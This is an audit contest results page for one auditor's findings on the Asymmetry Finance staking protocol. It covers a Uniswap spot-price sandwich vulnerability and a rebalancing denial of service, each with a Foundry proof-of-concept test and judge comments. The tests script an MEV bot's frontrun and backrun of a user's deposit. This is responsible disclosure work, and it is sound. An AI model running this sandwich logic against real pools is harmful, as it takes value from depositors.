Asymmetry contest - deliriusz's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 38/246

Findings: 3

Award: $176.01

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L176-L183 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L236-L241

Vulnerability details

Reth.deposit() uses Uniswap V3 to trade WETH to rETH, when it's impossible to deposit into RocketPool and that's the case at the time of writing this report. The problem is that it uses spot price from IUniswapV3Pool.slot0, which is susceptible to manipulation. The protocol protects against that by adding maximum slippage, but this won't work if a MEV bot sandwitches the transaction, lowering the price a lot. Then the victim's transaction slippage will be calculated using manipulated price, allowing for higher price slippage than expected.

Impact

Users loose significant amounts of rETH on slippage.

Proof of Concept

MEV bot sees large deposit and sandwiches it, first driving the price down by 10%. This is relatively easy, because rETH / ETH Uni V3 pool is highly concentrated. The price manipulation won't revert the victim's deposit, because the minPrice is taken from Reth.poolPrice() , which returns spot price (already manipulated) from Uniswap:

function poolPrice() private view returns (uint256) { ... IUniswapV3Pool pool = IUniswapV3Pool( factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500) // @info it's this one => https://etherscan.io/address/0xa4e0faA58465A2D369aa21B3e42d43374c6F9613 ); (uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);

It's then used to calculate minOut:

function deposit() external payable onlyOwner returns (uint256) { ... if (!poolCanDeposit(msg.value)) { uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); ...

This way a user is stolen from rETH part of the deposit.

While testing this, I was even able to DoS the transfer in Reth.poolPrice() function in lines:

(uint160 sqrtPriceX96, , , , , , ) = pool.slot0(); return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);

with 2000 ETH. Then, sqrtPriceX96 becomes circa 1461446703485210103287273052203988822378723970341, which overflows and DoSes the transfer.

Running tests

In order to run the test, get foundry files from https://gist.github.com/deliriusz/5eb92d3138db9943cf6da06caa6c0aa0 .

  • remappings.txt and foundry.toml have to be put in the project root
  • SafEth.t.sol has to be put it test folder
  • MaliciousDerivative.sol has to be put in contracts/mocks

then run the test using forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL

the test case:

function test_sandwitchingUserDeposit() public { // run this with following command: // forge test -vvv -m "sand" --fork-block-number 16933064 --fork-url $MAINNET_URL // block is hardcoded, because pool liquidity changes constantly setDerivatives(); // register price before manipulation uint poolPriceBefore = poolPrice(); console.log("pool price before ", poolPriceBefore); address WETH = rethEth.W_ETH_ADDRESS(); vm.label(WETH, "WETH9"); vm.label(RETH_ERC20, "rETH"); vm.label(rethEth.UNISWAP_ROUTER(), "UniV3Router"); // let's assume that MEV bot is in possession of 1800 ETH deal(WETH, mev, 1800 ether); uint mevWethBefore = IERC20(WETH).balanceOf(mev); console.log("pool price before sandwich ", poolPrice()); vm.startPrank(mev); IERC20(WETH).approve(rethEth.UNISWAP_ROUTER(), 2000 ether); IERC20(RETH_ERC20).approve(rethEth.UNISWAP_ROUTER(), 2000 ether); vm.stopPrank(); vm.startPrank(mev); ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter .ExactInputSingleParams({ tokenIn: WETH, tokenOut: RETH_ERC20, fee: 500, recipient: mev, amountIn: 1750 ether, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uint amountOut = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params2); vm.stopPrank(); console.log("received=", amountOut); uint poolPriceAfter = poolPrice(); console.log("pool price after frontrunning ", poolPriceAfter); uint priceChange = poolPriceAfter - poolPriceBefore ; vm.deal(alice, 12 ether); console.log("price change after frontrunning (1e16 = 1%) ", priceChange); assertTrue(priceChange > 2e16); // assert that the price changes more than 2%, even though max price slippage is set to 1% uint balanceBefore = alice.balance; vm.startPrank(alice); safEthProxyWrapper.stake{value: 10 ether}(); vm.stopPrank(); uint balanceAfter = alice.balance; // now do the backrunning vm.startPrank(mev); ISwapRouter.ExactInputSingleParams memory params = ISwapRouter .ExactInputSingleParams({ tokenIn: RETH_ERC20, tokenOut: WETH, fee: 500, recipient: mev, amountIn: amountOut, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uint amountOut2 = ISwapRouter(rethEth.UNISWAP_ROUTER()).exactInputSingle(params); vm.stopPrank(); }

Tools Used

Manual analysis

Use Uniswap TWAP to get current price of rETH

#0 - c4-pre-sort

2023-03-31T18:55:17Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T11:36:25Z

0xSorryNotSorry marked the issue as duplicate of #601

#2 - c4-judge

2023-04-21T16:11:56Z

Picodes marked the issue as duplicate of #1125

#3 - c4-judge

2023-04-21T16:14:31Z

Picodes marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0Kage

Also found by: Bahurum, Co0nan, IgorZuk, Tricko, adriro, deliriusz, yac

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
high quality report
satisfactory
sponsor acknowledged
duplicate-765

Awards

133.8143 USDC - $133.81

External Links

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242

Vulnerability details

RocketPool has a limit of 5000 Ether that can be staked at the same time, due to the nature of their validator nodes management. At this moment, whole pool is filled at 100%, which means, that in order to get any more rETH, user has to get it from a secondary market. This is part of the logic that Assymetry uses: when the limit is reached, it swaps WETH for rETH on UniswapV3 and deposits it into Reth derivative contract. The problem is that rETH / ETH Uni V3 pool used is highly concentrated and relatively shallow, which will fail SafEth.rebalanceToWeights() due to exceeding allowed slippage. The amount of Ether under management, that exceeds 50% slippage is 2000 ETH in Reth derivative, which is nothing compared to the possible Assymetry TVL.

Impact

Due to shallow rETH / ETH pool, weigths rebalancing is not possible.

Proof of Concept

rETH / ETH Uni V3 pool has at the time of writing this report a value 1 rETH = 1.0682 ETH, with the liquidity being highly concentrated around this value. At 1 rETH above 1.0377, there is only a dust amount (< 0.001 ETH) covered, which means that it's really easy to manipulate the pool and steal rTEH from users. This means that if RocketPool is unable to receive more Ether, Reth derivative contract will trade ETH to rETH on Uniswap. Given that right now, RocketPool already has it's balance maxed out to 5k ETH and cannot receive more on mainnet, means that the Reth derivative will have to use Uniswap.

function poolCanDeposit(uint256 _amount) private view returns (bool) { ... return rocketDepositPool.getBalance() + _amount <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() && _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(); }

Calling SafEth.rebalanceToWeights() may incur up to 99.9% slippage, DoSing rebalancing The biggest problem may occur during SafEth.rebalanceToWeights(), which unstakes and stakes the amounts again, accounting for new weigths.

function rebalanceToWeights() external onlyOwner { uint256 ethAmountBefore = address(this).balance; for (uint i = 0; i < derivativeCount; i++) { if (derivatives[i].balance() > 0) derivatives[i].withdraw(derivatives[i].balance()); } uint256 ethAmountAfter = address(this).balance; uint256 ethAmountToRebalance = ethAmountAfter - ethAmountBefore; for (uint i = 0; i < derivativeCount; i++) { if (weights[i] == 0 || ethAmountToRebalance == 0) continue; uint256 ethAmount = (ethAmountToRebalance * weights[i]) / totalWeight; // Price will change due to slippage derivatives[i].deposit{value: ethAmount}(); } emit Rebalanced(); }

Let's say that SafEth is under management of 6000 ETH already, with 33% allocated to RocketPool. As shown in the test, smaller amount is enough to drive the price down by more than a half. That means that the protocol won't be able to rebalance the weigths, because of maxSlippage check. Because the rebalance is crucial for functioning of the protocol, it would be DoSed, hence there will be no option to change weigths.

Running tests

In order to run the test, get foundry files from https://gist.github.com/deliriusz/5eb92d3138db9943cf6da06caa6c0aa0 .

  • remappings.txt and foundry.toml have to be put in the project root
  • SafEth.t.sol has to be put it test folder
  • MaliciousDerivative.sol has to be put in contracts/mocks

then run the test using forge test -vvv -m "UniswapPriceManipulation"

The test case

function test_UniswapPriceManipulation() public { setDerivatives(); vm.deal(alice, 5100 ether); vm.deal(bob, 5100 ether); address rocketDepositPoolAddress = RocketStorageInterface( // @audit QA make a function out of it rethEth.ROCKET_STORAGE_ADDRESS() ).getAddress( keccak256( abi.encodePacked("contract.address", "rocketDepositPool") ) ); RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface( rocketDepositPoolAddress ); uint rpBalance = rocketDepositPool.getBalance(); // RocketPool can hold max 5000 ether right now if (rpBalance < 5000 ether) { vm.prank(bob); rocketDepositPool.deposit{value: 5000 ether - rpBalance}(); // make sure that we fill the remaining balance, to trigger swap on Uniswap during deposit } console.log("alice funds before=", alice.balance); vm.startPrank(alice); for (uint i; i < 20; i++) { safEthProxyWrapper.stake{value: 200 ether}(); // we just simulate users deposits, or up to 4000 ETH } vm.stopPrank(); console.log(safEthProxyWrapper.balanceOf(alice)); safEthProxyWrapper.setMaxSlippage(0, 5e17); // set 50% slippage for rETH safEthProxyWrapper.rebalanceToWeights(); // !! this line actually reverts from Uniswap "Too little received", which means that price impact is bigger than 50% safEthProxyWrapper.unstake(safEthProxyWrapper.balanceOf(alice)); console.log("alice funds after=", alice.balance); }

It will revert with "Too little received" from Uniswap V3 even though slippage is set to 50%.

Tools Used

Manual analysis

  1. Consider reweighting operation to unstake/stake only delta of the changes. That means, if weigth of rETH drops 10%, only withdraw 10% of total pool before putting it in other derivative.
  2. Split rETH accross multiple contracts, in order to not have it concentrated in one place, with high risk of DoSing.
  3. Introduce partial reweigths, e.g. 10% of TVL, to swap smaller amounts accross multiple blocks and not expose users to the slippage risk.

#0 - c4-pre-sort

2023-03-31T18:58:30Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T20:26:42Z

0xSorryNotSorry marked the issue as primary issue

#2 - c4-sponsor

2023-04-07T15:39:33Z

elmutt marked the issue as sponsor acknowledged

#3 - c4-sponsor

2023-04-07T15:39:38Z

elmutt marked the issue as disagree with severity

#4 - elmutt

2023-04-07T15:40:04Z

Thanks. We are going to introduce partial rebalance functions to target individual derivatives with any amount

#5 - Picodes

2023-04-19T14:00:36Z

The finding is valid, but:

  • The function is onlyOwner and not essential for the protocol to behave properly
  • and that calling this function and getting a high slippage would be an error of the owner

Overall, Medium severity is definitely more appropriate. Quoting the rules: "The function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements."

#6 - c4-judge

2023-04-19T14:00:41Z

Picodes marked the issue as satisfactory

#7 - c4-judge

2023-04-19T14:00:47Z

Picodes changed the severity to 2 (Med Risk)

#8 - c4-judge

2023-04-23T11:39:42Z

Picodes marked the issue as duplicate of #749

#9 - c4-judge

2023-04-24T21:31:40Z

Picodes marked the issue as not a duplicate

#10 - c4-judge

2023-04-24T21:33:03Z

Picodes marked the issue as duplicate of #765

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter